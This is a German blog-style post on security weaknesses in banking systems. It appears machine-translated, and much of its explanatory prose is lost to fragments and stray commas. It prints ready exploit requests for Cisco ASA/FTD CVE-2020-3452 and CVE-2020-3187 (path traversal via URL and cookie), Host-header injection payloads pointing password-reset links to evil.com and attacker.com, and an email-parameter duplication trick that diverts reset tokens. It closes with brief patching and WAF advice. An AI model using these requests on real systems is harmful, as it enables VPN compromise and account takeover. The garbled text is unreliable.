Hallo Freunde!
Heute werden wir über die dringenden Probleme der Sicherheit von Bankensystemen sprechen, gemeinsame Schwachstellen analysieren und aus aktuellen Problemen Schlussfolgerungen ziehen.
Wichtig
Auch hier garantiert der Autor nicht, Ihnen zu zeigen, wie Sie Ihr System vollständig vor Cyber-Bedrohungen schützen können, sondern möchte nur zeigen, auf welche Probleme Sie Ihre Aufmerksamkeit richten sollten.
1. SSL VPN-Dienste
Banken verwenden sehr häufig Cisco SSL VPN-Dienste, um den Remotezugriff auf ihr internes Netzwerk zu organisieren
, .. Cisco CVE-2020-3452 CVE-2020-3187
1.1. CVE-2020-3452
CVE-2020-3452 - Cisco ASA FTD. , , , HTTP- .
https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../
, .
1.2. CVE-2020-3187
/session_password.html 200
curl -k -s -i https://
Cisco-VPN/+CSCOE+/session_password.html
200? -
"/+CSCOU+/csco_logo.gif"
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://
Cisco-VPN/+CSCOE+/session_password.html
VPN .
2. & OAuth
- (SSO) OAuth 2.0, , , .
GET /auth/sso/cb?code=[sso token account] HTTP/1.1
Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
CSRF . - .
SSO
SSO ,
.
SSO .
redirect_uri - url . / .
POST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com
Host: bank.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
email .
https://evil.com/reset-password.php?token=12345678-1234-1234-1234-12345678901
- . , .
.
POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com
In der Anfrage sehen Sie, dass der Angreifer einfach den E-Mail-Parameter dupliziert und seine E-Mail angegeben hat, an die das Autorisierungstoken gesendet wird.
Ausgabe
Halten Sie Ihre Dienste auf dem neuesten Stand, sei es SSL VPN oder GlobalProtect.
Halten Sie die Authentifizierung sicher
Verwenden Sie auch als Tipp eine Web Application Firewall ( WAF ), um die Ausnutzung von Sicherheitslücken zu verhindern, die durch Codeänderungen verursacht werden.
Viel Glück! Alles Gute.